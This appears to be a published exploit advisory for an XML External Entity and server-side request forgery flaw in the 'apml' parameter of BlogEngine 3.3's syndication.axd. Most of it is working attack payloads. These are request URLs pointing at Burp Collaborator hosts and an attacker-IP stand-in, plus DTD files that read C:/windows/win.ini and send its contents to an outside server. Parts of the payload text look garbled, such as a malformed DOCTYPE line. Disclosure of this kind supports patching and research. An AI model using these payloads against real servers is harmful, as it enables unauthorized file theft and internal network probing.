BlogEngine 3.3 – ‘syndication.axd’ XML External Entity Injection
# Title: BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection # Author: Daniel Martinez Adan (aDoN90) # Date: 2020-05-01 # Homepage: https://blogengine.io/ # Software Link: https://blogengine.io/support/download/ # Affected Versions: 3.3 # Vulnerability: XML External Entity (XXE OOB) Injection Vulnerability # Severity: High # Status: Fixed # Author: Daniel Martinez Adan (aDoN90) # CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H Technical Details -------------------- Url: http://websiteurl-blogengine3.3/syndication.axd Parameter Name: apml Parameter Type: GET *Attack Pattern 1 (SSRF HTTP Interaction) :* http://websiteurl-blogengine3.3/syndication.axd?apml=http://hav4zt9bu9ihxzvcg59lqfapzg5it7.burpcollaborator.net *Attack Pattern 2 (SSRF to XXE HTTP Interaction):* http://b5baa301-b569-4bbf-afd9-d2eb264fdcbf.gdsdemo.com/blog/syndication.axd?apml=http://attackerip:8000/miau.txt miau.txt ----------------------------- <!DOCTYPE foo SYSTEM " ">http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net"> <http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net> ----------------------------- [image: image.png] *Attack Pattern 3 (SSRF to XXE Exfiltration):* miau.txt ----------------------------- <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://37.187.112.19:8000/test1.dtd"> %sp; %param1; %exfil; ]> ----------------------------- test1.dtd ----------------------------- <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM ' http://y76a7hgbrccuyclwxwcp3br74yayyn.burpcollaborator.net/?%data;'>"> ----------------------------- |